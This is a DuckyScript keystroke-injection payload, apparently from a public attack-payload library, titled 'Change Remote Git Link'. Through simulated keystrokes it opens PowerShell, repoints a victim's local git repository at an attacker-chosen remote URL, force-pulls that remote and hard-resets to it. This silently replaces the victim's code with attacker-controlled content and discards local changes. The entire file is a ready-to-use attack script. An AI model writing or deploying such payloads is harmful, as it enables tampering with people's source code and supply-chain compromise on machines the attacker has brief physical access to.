Path: blob/master/payloads/library/execution/ChangeGitRemoteLink/payload.txt
2971 views
REM ###########################################1REM # |2REM # Title : Change Remote Git Link |3REM # Author : Aleff |4REM # Version : 1.0 |5REM # Category : Execution |6REM # Target : Windows 10-11/Linux |7REM # |8REM ###########################################910REM Requirements:11REM - Internet Connection12REM - git installed13REM - Full path of the cloned repository14REM - ExecutionPolicy Bypass if runned on Windows1516REM Full path of the local repository i.e. "C:\Users\User\Documents\Repository1"17DEFINE #FULL-PATH example1819REM Link from which updates are to be downloaded so the new repository the Repository220DEFINE #NEW-GIT-LINK example.git2122REM Define the branch of the new repository Repository2, i.e. "main"23DEFINE #BRANCH example2425DELAY 100026GUI r27DELAY 100028STRING powershell29ENTER30DELAY 20003132STRINGLN cd #FULL-PATH33DELAY 100034STRINGLN git remote set-url origin #NEW-GIT-LINK35DELAY 100036STRINGLN git pull --force origin #BRANCH37DELAY 100038STRINGLN git reset --hard origin/#BRANCH39DELAY 10004041ALT F4424344